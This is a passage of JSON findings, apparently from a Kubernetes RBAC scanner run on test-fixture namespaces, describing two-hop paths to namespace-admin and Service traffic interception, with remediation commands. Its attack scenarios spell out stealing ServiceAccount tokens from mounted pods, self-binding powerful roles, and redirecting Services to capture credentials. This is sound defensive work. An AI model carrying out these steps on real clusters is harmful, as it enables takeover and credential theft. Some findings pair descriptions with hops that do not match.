    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` has a privesc path that ends at namespace-admin inside `deepchain-tenant`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `deepchain-tenant` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/deepchain-tenant/deepchain-binder` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder\n  2. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` → namespace-admin in `deepchain-tenant`: every workload, Secret, and ConfigMap inside `deepchain-tenant` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/vulnerable/privileged-reader` yields full takeover of `deepchain-tenant`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/vulnerable/privileged-reader` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker creates a pod that mounts the `ServiceAccount/deepchain-tenant/deepchain-binder` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `deepchain-tenant`. They read every Secret and ConfigMap in `deepchain-tenant`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "namespace_admin",
      "target_namespace": "deepchain-tenant",
      "techniques": [
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `deepchain-tenant`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:vulnerable:privileged-reader` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `deepchain-tenant` granting RBAC writes: `kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `deepchain-tenant` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/vulnerable/privileged-reader:namespace_admin:rbac-ns-fixtures",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.05,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/vulnerable/privileged-reader` can reach **namespace-admin in `rbac-ns-fixtures`** in 2 hop(s)",
    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` has a privesc path that ends at namespace-admin inside `rbac-ns-fixtures`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `rbac-ns-fixtures` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate\n  2. `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` → namespace-admin in `rbac-ns-fixtures`: every workload, Secret, and ConfigMap inside `rbac-ns-fixtures` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/vulnerable/privileged-reader` yields full takeover of `rbac-ns-fixtures`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/vulnerable/privileged-reader` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker creates a pod that mounts the `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `rbac-ns-fixtures`. They read every Secret and ConfigMap in `rbac-ns-fixtures`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "namespace_admin",
      "target_namespace": "rbac-ns-fixtures",
      "techniques": [
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `rbac-ns-fixtures`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:vulnerable:privileged-reader` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `rbac-ns-fixtures` granting RBAC writes: `kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `rbac-ns-fixtures` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "rbac-ns-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/rbac-fixtures/sa-pod-create:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 7,
    "category": "lateral_movement",
    "title": "`ServiceAccount/rbac-fixtures/sa-pod-create` can **intercept in-cluster Service traffic** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator\n  2. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `service_backend_rewrite` (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/hookbackend-fixtures/hookbackend-operator` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker rewrites a Service's spec (`get,list,patch services`): its selector, so it points at pods the attacker controls, its ports, or its type (an `ExternalName` sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. service_backend_rewrite [get,list,patch services]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "service_backend_rewrite"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 2,
        "action": "service_backend_rewrite",
        "technique": "KUBE-PRIVESC-022",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,patch services",
        "gains": "can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses",
        "source_binding": "hookbackend-operator",
        "source_role": "hookbackend-operator",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/rbac-fixtures/sa-workload-mutate:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 7,
    "category": "lateral_movement",
    "title": "`ServiceAccount/rbac-fixtures/sa-workload-mutate` can **intercept in-cluster Service traffic** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator` via `workload_create_token_theft` (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount hookbackend-fixtures/hookbackend-operator\n  2. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `service_backend_rewrite` (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-workload-mutate`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker creates a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs`) whose pod template runs as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker rewrites a Service's spec (`get,list,patch services`): its selector, so it points at pods the attacker controls, its ports, or its type (an `ExternalName` sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments/daemonsets/statefulsets/jobs/cronjobs]",
        "2. service_backend_rewrite [get,list,patch services]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "service_backend_rewrite"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
    "remediation_steps": [
      "Break the chain at: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
